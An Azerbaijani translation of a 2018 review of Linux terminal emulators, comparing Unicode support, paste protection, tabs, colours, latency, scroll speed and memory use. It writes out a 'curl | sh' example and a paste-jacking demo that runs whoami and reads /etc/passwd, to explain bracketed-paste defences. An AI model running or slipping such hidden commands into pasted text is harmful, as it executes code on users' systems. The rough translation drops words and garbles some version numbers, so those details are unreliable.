Tərcümə büromuzdan bir neçə kəlmə: adətən hər kəs ən son materialları və nəşrləri tərcümə etməyə çalışır və biz də istisna deyilik. Amma terminallar həftədə bir dəfə yenilənən bir şey deyil. Buna görə də, biz sizin üçün 2018-ci ilin yazında dərc olunmuş Antoine Beaupré-nin məqaləsini tərcümə etdik: müasir standartlara görə xeyli "yaşı" olmasına baxmayaraq, fikrimizcə, material heç də aktuallığını itirməyib. Bundan əlavə, bu, əvvəlcə iki məqalədən ibarət bir sıra idi, lakin biz onları bir böyük yazıda birləşdirməyə qərar verdik.
Terminalların kompüter tarixində xüsusi yeri var, lakin son onilliklərdə qrafik interfeyslər hər yerdə yayıldığı üçün onlar komanda xətti ilə yanaşı sağ qalmağa məcbur olublar. özlərini əvəz etdilər , bu da öz növbəsində perfokartlar və keçid açarları əsasında sistemlərin modifikasiyası idi. Müasir paylamalar bütün forma və rənglərdə müxtəlif terminal emulyatorları ilə gəlir. Bir çoxları iş mühitinin təmin etdiyi standart terminaldan razı olsalar da, bəziləri sevimli qabıq və ya mətn redaktorunu işə salmaq üçün qürurla açıq şəkildə ekzotik proqramlardan istifadə edirlər. Lakin, bu məqalədən görəcəyimiz kimi, bütün terminallar eyni görüntüdə yaradılmayıb: funksionallıq, ölçü və performans baxımından çox fərqlənirlər.
Bəzi terminallarda açıq-aşkar təəccüblü təhlükəsizlik boşluqları var, üstəlik əksəriyyətində sekmeli interfeys dəstəyindən tutmuş skriptlərə qədər tamamilə fərqli funksiyalar dəsti var. Baxmayaraq ki, biz , bu məqalə oxuculara 2018-ci ildə hansı terminaldan istifadə edəcəyini müəyyən etməyə kömək edəcək əvvəlki materialın yenilənməsidir. Məqalənin birinci yarısında xüsusiyyətləri müqayisə edir, ikinci yarısında isə performansı qiymətləndirir.
Baxdığım terminallar bunlardır:
Bunlar ən son versiyalar olmaya bilər, çünki mən bunu yazarkən Debian 9 və ya Fedora 27-də istifadə edə bildiyim sabit konstruksiyalarla məhdudlaşmışdım. Yeganə istisna Alacritty-dir. Bu, GPU-sürətləndirilmiş terminalların nəslindəndir və bu tapşırıq üçün qeyri-adi və yeni bir dildə yazılmışdır - Rust. Veb terminalları nəzərdən keçirməyimdən xaric etdim (o cümlədən ), çünki ilkin sınaqlar onların son dərəcə zəif performansını göstərdi.
Unicode dəstəyi
Testlərimə Unicode dəstəyi ilə başladım. Terminalların ilk sınağı Unicode sətirini göstərmək idi : “é, Δ, И, ק, م, ๗, あ, 叶, 葉 və 말.” Bu sadə test terminalın bütün dünyada düzgün işləyə biləcəyini göstərir. xterm terminalı ərəb hərfini göstərmir standart konfiqurasiyada:
Varsayılan olaraq, xterm klassik "sabit" şriftdən istifadə edir, buna görə , "1997-ci ildən bəri əhəmiyyətli Unicode əhatəsinə malikdir". Bu şriftdə xarakterin boş çərçivə kimi görünməsinə səbəb olan bir şey baş verir və yalnız mətn şrifti 20+ nöqtəyə artırıldıqda simvol nəhayət düzgün göstərilməyə başlayır. Bununla belə, bu “düzəliş” digər Unicode simvollarının ekranını pozur:
Terminalların bəzi köhnə versiyaları (xüsusilə mlterm) şriftləri düzgün idarə edə bilmədiyi Debian 27-dan daha yaxşı nəticələr verdiyi üçün bu ekran görüntüləri Fedora 9-də çəkilib. Xoşbəxtlikdən bu, sonrakı versiyalarda düzəldildi.
İndi xəttin xterm-də necə göstərildiyinə diqqət yetirin. Məlum oldu ki, simvol Mem və sonrakı Semit RTL stil skriptlərinə baxın (), texniki cəhətdən onlar sağdan sola göstərilməlidir. Firefox 57 kimi veb brauzerlər yuxarıdakı xətti düzgün idarə edir. RTL mətninin daha sadə versiyası " sözüdür.ivrit dilində (). aşağıdakıları deyir:
“Bir çox kompüter proqramı iki istiqamətli mətni düzgün göstərə bilmir. Məsələn, "Sara" ibrani adı sin (ש) (sağda görünür), sonra resh (ר) və nəhayət o (ה) (solda görünməlidir) simvollarından ibarətdir."
Bir çox terminallar bu sınaqdan keçə bilmir: Alacritty, VTE-dən əldə edilən Gnome və XFCE terminalları, urxvt, st və xterm "Sara"nı tərs ardıcıllıqla göstərir, sanki adı "Aras" kimi yazmışıq.
İki istiqamətli mətnlərlə bağlı başqa bir problem, xüsusilə RTL və LTR mətnlərinin qarışdırılmasına gəldikdə, onların bir şəkildə uyğunlaşdırılması lazımdır. RTL skriptləri terminal pəncərəsinin sağ tərəfindən işləməlidir, lakin LTR İngilis dili standartına uyğun gələn terminallar üçün nə baş verməlidir? Onların əksəriyyətində heç bir xüsusi mexanizm yoxdur və bütün mətni sola düzləndirir (o cümlədən Konsole). İstisnalar standartlara uyğun gələn və belə xətləri sağa düzən pterm və mltermdir.
Daxiletmə mühafizəsi
Müəyyən etdiyim növbəti kritik xüsusiyyət yerləşdirmə əleyhinə qorunmadır. Bu cür sehrlərin geniş şəkildə bilinməsinə baxmayaraq:
$ curl http://example.com/ | shkod icrası təkan əmrləridir, az adam bilir ki, gizli əmrlər hətta diqqətlə yoxlandıqdan sonra da veb-brauzerdən köçürmə və yapışdırarkən konsola gizlicə girə bilər. əmrin nə qədər zərərsiz göründüyünü parlaq şəkildə göstərir:
git clone git: //git.kernel.org/pub/scm/utils/kup/kup.gitHornun saytından terminala yapışdırıldıqda belə bir narahatlığa çevrilir:
git clone /dev/null;
clear;
echo -n "Hello ";
whoami|tr -d 'n';
echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';
head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.gitBu necə işləyir? Zərərli kod bloka daxil edilmişdir , CSS istifadə edərək istifadəçinin görünüşündən çıxarılır.
açıq şəkildə belə hücumları zərərsizləşdirmək üçün nəzərdə tutulub. Bu rejimdə terminallar mətnin mənşəyi haqqında qabığa məlumat vermək üçün yapışdırılmış mətni bir cüt xüsusi qaçış ardıcıllığı ilə əhatə edir. Bu, qabığa yapışdırılmış mətndə ola biləcək xüsusi simvollara məhəl qoymadığını bildirir. Möhtəşəm xterm-ə qayıdan bütün terminallar bu funksiyanı dəstəkləyir, lakin Mötərizəli rejimdə yapışdırmaq terminalda işləyən qabıqdan və ya proqramdan dəstək tələb edir. Məsələn, proqram təminatından istifadə (eyni Bash), fayl lazımdır ~/.inputrc:
set enable-bracketed-paste onTəəssüf ki, Hornun test saytı mətn formatının özü vasitəsilə bu qorunmanın necə keçəcəyini və ona Mötərizədə rejimi tətbiq etməyi vaxtından əvvəl başa çatdırmağı da göstərir. Bu işləyir, çünki bəzi terminallar özlərini əlavə etməzdən əvvəl qaçış ardıcıllığını düzgün şəkildə süzmürlər. Məsələn, mənim özümdə mən heç vaxt Konsole testlərini düzgün konfiqurasiya ilə belə uğurla başa vura bilmədim .inputrc fayl. Bu o deməkdir ki, dəstəklənməyən proqram və ya səhv konfiqurasiya edilmiş qabıq səbəbindən sistem konfiqurasiyanızı asanlıqla poza bilərsiniz. Bu, diqqətli konfiqurasiya işinin daha az yayıldığı uzaq serverlərə daxil olduqda xüsusilə təhlükəlidir, xüsusən də belə uzaq maşınlarınız çoxdur.
Bu problemin yaxşı həlli terminal üçün yapışdırıb təsdiqləmə plaginidir urxvt, bu sadəcə yeni sətirləri ehtiva edən hər hansı mətni daxil etmək üçün icazə tələb edir. Horn tərəfindən təsvir edilən mətn hücumu üçün daha təhlükəsiz variant tapmadım.
Nişanlar və profillər
Hal-hazırda məşhur xüsusiyyət, bir neçə digər terminalı ehtiva edən bir terminal pəncərəsi kimi müəyyən edəcəyimiz sekmeli interfeys üçün dəstəkdir. Bu funksiya müxtəlif terminallar üçün fərqlənir və ənənəvi xterm terminalları tabları ümumiyyətlə dəstəkləməsə də, Xfce Terminal, GNOME Terminal və Konsole kimi daha müasir terminal inkarnasiyalarında bu funksiya var. Urxvt də nişanları dəstəkləyir, ancaq bir plagin istifadə edirsinizsə. Lakin tab dəstəyinin özü baxımından, Terminator şəksiz liderdir: o, yalnız tabları dəstəkləmir, həm də terminalları istənilən qaydada təşkil edə bilər (aşağıdakı şəkilə baxın).
Terminatorun başqa bir xüsusiyyəti, bu tabları birlikdə "qruplaşdırmaq" və eyni düymələri eyni anda birdən çox terminala göndərmək bacarığıdır, eyni vaxtda birdən çox serverdə toplu əməliyyatları yerinə yetirmək üçün xam alət təmin edir. Bənzər bir xüsusiyyət Konsolda da həyata keçirilir. Bu funksiyanı digər terminallarda istifadə etmək üçün üçüncü tərəf proqramlarından istifadə etməlisiniz, məsələn , və ya .
Nişanlar profillərlə birləşdirildikdə xüsusilə yaxşı işləyir: məsələn, e-poçt üçün bir tab, söhbət üçün başqa bir nişan ola bilər və s. Bu Konsole Terminal və GNOME Terminal tərəfindən yaxşı dəstəklənir. Hər ikisi hər tabın avtomatik olaraq öz profilini işə salmasına imkan verir. Terminator profilləri də dəstəkləyir, lakin xüsusi tabı açdığınız zaman müəyyən proqramları avtomatik işə salmağın bir yolunu tapa bilmədim. Digər terminallarda ümumiyyətlə “profil” anlayışı yoxdur.
Ruffles
Bu məqalənin birinci hissəsində bəhs edəcəyim son şey terminalların görünüşüdür. Məsələn, GNOME, Xfce və urxvt şəffaflığı dəstəkləyir, lakin bu yaxınlarda fon şəkilləri üçün dəstəyi dayandırdı və bəzi istifadəçiləri terminala keçməyə məcbur etdi. . Şəxsən mən bundan məmnunam və sadədir Xresurslar, urxvt üçün fon rənglərinin əsas dəstini təyin edir. Bununla belə, qeyri-standart rəng mövzuları da problemlər yarada bilər. Misal üçün, tətbiqlərlə и , çünki onlar artıq öz rənglərindən istifadə edirlər.
rəngləri dəstəkləmirdi və yeniləri çox vaxt 256 rəng palitrası ilə məhdudlaşırdı. Terminallarını, qabıq göstərişlərini və ya status panellərini mürəkkəb şəkildə tərtib edən qabaqcıl istifadəçilər üçün zəhlətökən məhdudiyyət ola bilər. hansı terminalların "True Color" dəstəyinə malik olduğunu izləyir. Testlərim təsdiq edir ki, st, Alacritty və VTE əsaslı terminallar True Color-ı mükəmməl dəstəkləyir. Digər terminallar bu baxımdan o qədər də yaxşı nəticə vermir və əslində 256 rəngi belə göstərmir. Aşağıda GNOME terminallarında, st və xterm-də 256 rəng palitrası ilə bunu yaxşı bacaran True Color dəstəyi ilə nəinki testdən keçə bilməyən, hətta onların əvəzinə bəzi yanıb-sönən simvolları göstərən urxvt arasındakı fərqi görə bilərsiniz.
Bəzi terminallar həmçinin linkləri tıklanabilir etmək üçün URL nümunələri üçün mətni təhlil edir. Bu, bütün VTE-dən əldə edilən terminallara aiddir, halbuki urxvt bir kliklə və ya klaviatura qısa yolundan istifadə edərək URL-ləri dəyişdirəcək xüsusi plagin tələb edir. Test etdiyim digər terminallar URL-ləri başqa yollarla göstərir.
Nəhayət, terminallarda yeni bir tendensiya sürüşmə buferinin isteğe bağlılığıdır. Məsələn, st-də sürüşdürmə buferi yoxdur; istifadəçinin tmux və kimi terminal multipleksorundan istifadə edəcəyi güman edilir .
Alacritty də geri dönmə buferlərinə malik deyil, lakin istifadəçilərdən bu mövzu ilə bağlı "geniş rəy" sayəsində dəstək. Bu başlanğıclardan başqa, sınadığım hər terminal tərs sürüşməyi dəstəkləyir.
Arxivlər
Materialın ikinci hissəsində (orijinalda bunlar iki fərqli məqalə idi - təqribən. zolaq) performansı, yaddaşdan istifadəni və gecikməni müqayisə edəcəyik. Amma biz artıq görürük ki, sözügedən terminalların bəzilərində ciddi çatışmazlıqlar var. Məsələn, mütəmadi olaraq RTL skriptləri ilə işləyən istifadəçilər mlterm və pterm-i nəzərdən keçirmək istəyə bilər, çünki onlar oxşar tapşırıqların öhdəsindən başqalarından daha yaxşı gəlirlər. Konsole də yaxşı çıxış etdi. RTL skriptləri ilə işləməyən istifadəçilər başqa bir şey seçə bilərlər.
Zərərli kodun daxil edilməsindən qorunma baxımından urxvt bu tip hücumlara qarşı xüsusi qorunma tətbiqi ilə seçilir və bu, mənə mütləq rahat görünür. Bəzi zənglər və fitlər axtaranlar üçün Konsole baxmağa dəyər. Nəhayət, qeyd etmək lazımdır ki, VTE rəng dəstəyi, URL-in tanınması və s. zəmanət verən terminallar üçün əla bazadır. İlk baxışdan sevimli mühitinizlə birlikdə gələn standart terminal bütün tələblərə cavab verə bilər, lakin performansı başa düşənə qədər bu sualı açıq qoyaq.
Söhbətə davam edək
Ümumiyyətlə, terminalların performansı özlüyündə çox çətin bir problem kimi görünə bilər, lakin göründüyü kimi, onlardan bəziləri belə fundamental tipli proqram təminatı üçün təəccüblü dərəcədə yüksək gecikmə nümayiş etdirir. Bundan əlavə, ənənəvi olaraq "sürət" adlanan şeyə (əslində bu, sürüşmə sürətidir) və terminalın yaddaş istehlakına baxacağıq (bu gün onilliklər əvvəl olduğu kimi kritik deyil).
Gecikmə
Terminal performansını hərtərəfli öyrəndikdən sonra belə qənaətə gəldim ki, bu baxımdan ən vacib parametr gecikmədir (ping). Öz məqaləsində Pavel Fatin müxtəlif mətn redaktorlarının gecikməsinə nəzər saldı və bu baxımdan terminalların ən sürətli mətn redaktorlarından daha yavaş ola biləcəyinə işarə etdi. Məhz bu işarə məni öz testlərimi aparmağa və bu məqaləni yazmağa vadar etdi.
Bəs gecikmə nədir və niyə bu qədər vacibdir? Fatin məqaləsində bunu “düymənin basılması ilə müvafiq ekran yeniləməsi arasındakı gecikmə” olaraq təyin etdi və sitat gətirdi. , burada deyilir: "Kompüter ekranında vizual rəyin gecikməsi makinaçının davranışına və məmnunluğuna mühüm təsir göstərir."
Fatin izah edir ki, bu ping-in sadəcə məmnunluqdan daha dərin nəticələri var: “yazma yavaşlayır, daha çox səhv baş verir, göz və əzələ gərginliyi artır”. Başqa sözlə, böyük bir gecikmə yazı xətalarına və həmçinin kod keyfiyyətinin aşağı düşməsinə səbəb ola bilər, çünki bu, beyinə əlavə idrak yükü gətirir. Ancaq daha pisi odur ki, ping "göz və əzələ gərginliyini artırır" gələcəkdə (Göründüyü kimi, müəllif gözlərin, arxanın, qolların və əlbəttə ki, görmə əzələləri ilə bağlı problemləri nəzərdə tutur - təqribən. zolaq) təkrarlanan stress səbəbindən.
Bu təsirlərdən bəziləri uzun müddətdir məlumdur və nəticələr , 1976-cı ildə Ergonomics jurnalında dərc edilmiş, 100 millisaniyəlik gecikmənin "yazma sürətini əhəmiyyətli dərəcədə pisləşdirdiyini" söylədi. Bu yaxınlarda GNOME İstifadəçi Təlimatı təqdim edildi 10 millisaniyədə və daha da irəli getsən, onda 1 millisaniyənin ideal olduğunu göstərir.
Fatin testlərini mətn redaktorları üzərində apardı; adlı portativ alət yaratdı Terminal emulyatorlarında pingi sınamaq üçün istifadə etdiyim. Nəzərə alın ki, test simulyasiya rejimində aparılıb: reallıqda biz həm giriş (klaviatura, USB kontroller və s.), həm də çıxış (video kart buferi, monitor) gecikməsini nəzərə almalıyıq. Fatinə görə, tipik konfiqurasiyalarda bu, təxminən 20 ms-dir. Əgər oyun avadanlıqlarınız varsa, bu rəqəmə cəmi 3 millisaniyə ərzində nail ola bilərsiniz. Artıq belə sürətli aparatımız olduğundan, tətbiqin öz gecikmə müddətini əlavə etməsinə ehtiyac yoxdur. Fatinin məqsədi tətbiqin gecikmə müddətini 1 millisaniyəyə çatdırmaq və ya hətta olmadan yığmağa nail olmaqdır , nece .
Təcrübəmin onun testləri ilə uyğun olduğunu göstərmək üçün ölçmələrimin nəticələri, eləcə də Fatinin bəzi nəticələri bunlardır:
Məni heyrətləndirən ilk şey xterm və mlterm kimi köhnə proqramların daha yaxşı cavab müddəti oldu. Ən pis qeydiyyat gecikməsi (2,4 ms) ilə onlar ən sürətli müasir terminaldan (st üçün 10,6 ms) daha yaxşı çıxış etdilər. Heç bir müasir terminal 10 millisaniyəlik eşikdən aşağı düşmür. Xüsusilə, Alacritty "mövcud olan ən sürətli terminal emulyatoru" iddiasını yerinə yetirə bilmir, baxmayaraq ki, onun xalları 2017-ci ildə ilk baxışdan sonra yaxşılaşmışdır. Həqiqətən, layihənin müəllifləri və ekranı təkmilləşdirmək üçün çalışırlar. Onu da qeyd etmək lazımdır ki, GTK3-dən istifadə edən Vim, GTK2 analoqundan daha yavaş böyüklük sırasıdır. Buradan belə nəticəyə gələ bilərik ki, GTK3 əlavə gecikmə yaradır və bu, onu istifadə edən bütün digər terminallarda (Terminator, Xfce4 Terminal və GNOME Terminal) əks olunur.
Ancaq fərqlər gözə görünməyə bilər. Fatinin izah etdiyi kimi, "sizə təsir göstərməsi üçün gecikmədən xəbərdar olmaq lazım deyil." Fatin standart sapma haqqında da xəbərdarlıq edir: “gecikmə müddətində hər hansı pozuntu (citter) gözlənilməzliyi səbəbindən əlavə stress yaradır”.
Yuxarıdakı qrafik təmiz Debian 9 (uzanma) ilə götürülmüşdür . Bu mühit gecikmə testlərində ən yaxşı nəticələr verir. Göründüyü kimi, GNOME bütün ölçmələr üçün 20 ms əlavə ping yaradır. Bunun mümkün izahı, giriş hadisələrinin sinxron işlənməsi ilə proqramların olmasıdır. Fatin belə bir hal üçün misal gətirir , bütün daxiletmə hadisələrini sinxron şəkildə emal edərək gecikmə əlavə edir. Varsayılan olaraq, GNOME pəncərə meneceri ilə də gəlir , bu, pingə təsir edən və ən azı 8 millisaniyə gecikmə əlavə edən əlavə tamponlama qatı yaradır.
Sürüşdürmə sürəti
Növbəti test ənənəvi "sürət" və ya "bant genişliyi" testidir və bu, ekranda böyük həcmdə mətni göstərərkən terminalın səhifəni nə qədər sürətlə sürüşdürə biləcəyini ölçür. Testin mexanikası fərqlidir; orijinal test sadəcə seq əmrindən istifadə edərək eyni mətn sətirini yaratmaq idi. Digər testlərə Tomas E. Dikinin (xterm baxıcısı) testi daxildir ki, bu da təkrarlanır . Terminal performansının başqa bir nəzərdən keçirilməsində cat istifadə edərək terminala çıxarılan təsadüfi baytlardan ibarət base32 kodlu sətirindən istifadə edir. Luu belə bir testi "təsəvvür edə biləcəyiniz qədər yararsız bir etalon" hesab edir və bunun əvəzinə terminal cavabını əsas metrik olaraq istifadə etməyi təklif edir. Dikki də testini çaşdırıcı adlandırır. Bununla belə, hər iki müəllif terminal pəncərəsinin bant genişliyinin problem ola biləcəyini etiraf edir. Luu, böyük faylları göstərərkən Emacs Eshell-in donmasını aşkar etdi və Dikki xtrerm-in vizual ləngliyindən xilas olmaq üçün terminalı optimallaşdırdı. Beləliklə, bu testin hələ də bəzi üstünlükləri var, lakin göstərmə prosesi terminaldan terminala çox fərqli olduğundan, digər parametrləri yoxlamaq üçün test komponenti kimi də istifadə edilə bilər.
Burada biz rxvt və st pull-u rəqabətdən qabaq görürük, ardınca performansa diqqət yetirməklə hazırlanmış daha yeni Alacritty. Sonrakı Xfce (VTE ailəsi) və Konsole, demək olar ki, iki dəfə sürətlidir. Sonuncu, rxvt-dən beş dəfə yavaş olan xtermdir. Test zamanı xterm də çox dalğalandı və keçən mətn eyni sətir olsa belə onu görməyi çətinləşdirdi. Konsole sürətli idi, lakin bəzən çətin idi: displey vaxtaşırı donur, mətni qismən göstərir və ya ümumiyyətlə göstərmirdi. Digər terminallar st, Alacritty və rxvt daxil olmaqla sətirləri aydın şəkildə göstərdi.
Dikki izah edir ki, performans fərqləri müxtəlif terminallarda sürüşdürmə buferlərinin dizaynı ilə bağlıdır. Xüsusilə, o, rxvt və digər terminalları “ümumi qaydalara əməl etməməkdə” ittiham edir:
“Xterm-dən fərqli olaraq, rxvt bütün yeniləmələri göstərməyə çalışmadı. Geridə qalsa, yetişmək üçün bəzi yeniləmələrdən imtina edəcək. Bu, daxili yaddaşın təşkilindən daha aydın sürüşmə sürətinə daha çox təsir etdi. Bir çatışmazlıq ASCII animasiyasının bir qədər qeyri-dəqiq olması idi."
Bu qəbul edilən xterm ləngliyini düzəltmək üçün Dikki resursdan istifadə etməyi təklif edir , axınla ayaqlaşmaq üçün xterm-ə bəzi ekran yeniləmələrini ləğv etməyə imkan verir. Testlərim təsdiqləyir ki, fastScroll performansı yaxşılaşdırır və xterm-i rxvt ilə bərabərləşdirir. Bununla belə, bu, Dikinin özünün izah etdiyi kimi, kifayət qədər kobud bir qoltuqağacıdır: "bəzən xterm - konsole kimi - bəziləri silindikdən sonra ekran yeniləmələrinin yeni dəstini gözlədiyi üçün dayanır." Bu baxımdan, digər terminalların sürət və ekran bütövlüyü arasında ən yaxşı kompromis tapdığı görünür.
Resurs istehlakı
Sürüşmə sürətini performans göstəricisi kimi nəzərdən keçirməyin məntiqli olub-olmamasından asılı olmayaraq, bu test bizə terminallardakı yükü simulyasiya etməyə imkan verir ki, bu da öz növbəsində yaddaş və ya disk istifadəsi kimi digər parametrləri ölçməyə imkan verir. Ölçülər müəyyən edilmiş testi yerinə yetirməklə əldə edilmişdir seq Python prosesinin monitorinqi altında. Sayğac məlumatlarını topladı uğrunda ru_maxrss, məbləğ ru_oublock и ru_inblock və sadə taymer.
Bu testdə ST ən aşağı orta yaddaş istehlakı 8 MB ilə birinci yeri tutur, dizaynın əsas ideyasının sadəlik olduğunu nəzərə alsaq, təəccüblü deyil. mlterm, xterm və rxvt bir az daha çox istehlak edir - təxminən 12 MB. Digər diqqətəlayiq nəticə Alacritty-dir ki, onun işləməsi üçün 30 MB tələb olunur. Sonra 40-dan 60 MB-a qədər rəqəmləri olan VTE ailəsinin terminalları var, bu olduqca çoxdur. Bu istehlakı bu terminalların daha yüksək səviyyəli kitabxanalardan, məsələn, GTK-dan istifadə etməsi ilə izah etmək olar. Konsole testlər zamanı 65 MB yaddaş istehlakı ilə sonuncu yerdə gəlir, baxmayaraq ki, bu, onun çox geniş xüsusiyyətləri ilə əsaslandırıla bilər.
On il əvvəl əldə edilmiş əvvəlki nəticələrlə müqayisədə, bütün proqramlar nəzərəçarpacaq dərəcədə daha çox yaddaş istehlak etməyə başladı. Xterm əvvəllər 4 MB tələb edirdi, indi isə yalnız başlanğıc zamanı 15 MB tələb edir. Rxvt üçün istehlakda oxşar artım var, indi qutudan 16 MB tələb olunur. Xfce Terminalı 34 MB yer tutur ki, bu da əvvəlkindən üç dəfə böyükdür, lakin GNOME Terminalı cəmi 20 MB tələb edir. Əlbəttə ki, bütün əvvəlki testlər 32 bitlik arxitekturada aparılmışdır. LCA 2012-də Rusty Russell , yaddaş istehlakının artımını izah edə biləcək daha çox incə səbəblər var. Bunu demişkən, biz indi gigabayt yaddaşa malik olduğumuz bir dövrdə yaşayırıq, buna görə də birtəhər idarə edəcəyik.
Bununla belə, terminal kimi fundamental bir şeyə daha çox yaddaş ayırmağın resurs itkisi olduğunu hiss etməyə kömək edə bilmirəm. Bu proqramlar ən kiçiyinin ən kiçiyi olmalıdır, hər hansı bir “qutuda”, hətta ayaqqabı qutusunda da işləyə bilməlidir, əgər biz onların Linux sistemləri ilə təchiz edilməli olduğu nöqtəyə gəlsək (və siz bilirsiniz ki, belə olacaq). ) . Lakin bu rəqəmlərlə yaddaş istifadəsi gələcəkdə bir neçə ən yüngül və məhdud imkanlardan başqa bir neçə terminalla işləyən istənilən mühitdə problemə çevriləcək. Bunu kompensasiya etmək üçün GNOME Terminal, Konsole, urxvt, Terminator və Xfce Terminal yaddaş istehlakını məhdudlaşdıraraq bir proses vasitəsilə çoxlu terminalları idarə etməyə imkan verən Daemon rejiminə malikdir.
Testlərim zamanı diskin oxunması-yazılması ilə bağlı daha bir gözlənilməz nəticəyə gəldim: burada ümumiyyətlə heç nə görməyəcəyimi gözləyirdim, lakin məlum oldu ki, bəzi terminallar diskə ən həcmli məlumatları yazır. Beləliklə, VTE kitabxanası əslində diskdə sürüşmə buferini saxlayır (bu xüsusiyyət , və bu hələ də baş verir). Ancaq köhnə tətbiqlərdən fərqli olaraq, indi ən azı bu məlumatlar AES256 GCM (). Ancaq ağlabatan sual yaranır: VTE kitabxanasının bu qədər özəlliyi nədir ki, onun həyata keçirilməsinə belə qeyri-standart yanaşma tələb olunur...
Nəticə
Məqalənin birinci hissəsində biz VTE əsaslı terminalların yaxşı xüsusiyyətlərə malik olduğunu gördük, lakin indi bunun bəzi performans xərcləri ilə gəldiyini görürük. İndi yaddaş problem deyil, çünki bütün VTE terminalları onların iştahını məhdudlaşdıran Daemon prosesi vasitəsilə idarə oluna bilər. Bununla belə, RAM və ləpə tamponlarının miqdarında fiziki məhdudiyyətləri olan köhnə sistemlər hələ də terminalların əvvəlki versiyalarına ehtiyac duya bilər, çünki onlar əhəmiyyətli dərəcədə daha az resurs sərf edirlər. VTE terminalları ötürmə qabiliyyəti (sürüşdürmə) testlərində yaxşı çıxış etsə də, onların ekran gecikməsi GNOME İstifadəçi Təlimatında müəyyən edilmiş həddən yuxarıdır. VTE tərtibatçıları yəqin ki, bunu nəzərə almalıdırlar. Nəzərə alsaq ki, hətta təcrübəsiz Linux istifadəçiləri üçün də terminalla qarşılaşmaq qaçınılmazdır, onlar onu daha rahat edə bilərlər. Təcrübəli həvəskarlar üçün standart terminaldan keçid hətta daha az göz yorğunluğu və uzun iş seansları səbəbindən gələcəkdə işlə bağlı xəsarət və xəstəliklərin qarşısını almaq imkanı verə bilər. Təəssüf ki, yalnız köhnə xterm və mlterm bizi 10 millisaniyəlik sehrli ping həddinə çatdırır ki, bu da çoxları üçün qəbuledilməzdir.
Benchmark ölçmələri də göstərdi ki, Linux qrafik mühitlərinin inkişafı səbəbindən tərtibatçılar bir sıra güzəştlərə getməli oldular. Bəzi istifadəçilər müntəzəm pəncərə menecerlərinə baxmaq istəyə bilər, çünki onlar əhəmiyyətli ping azalmasını təmin edirlər. Təəssüf ki, Wayland üçün gecikməni ölçmək mümkün olmadı: istifadə etdiyim Typometer proqramı Wayland-ın qarşısını almaq üçün nəzərdə tutulmuşdur: digər pəncərələrdə casusluq. Ümid edirəm ki, Wayland kompozisiya X.org-dan daha yaxşı işləyir və mən də ümid edirəm ki, gələcəkdə kimsə bu mühitdə gecikməni ölçmək üçün bir yol tapacaq.
Mənbə: www.habr.com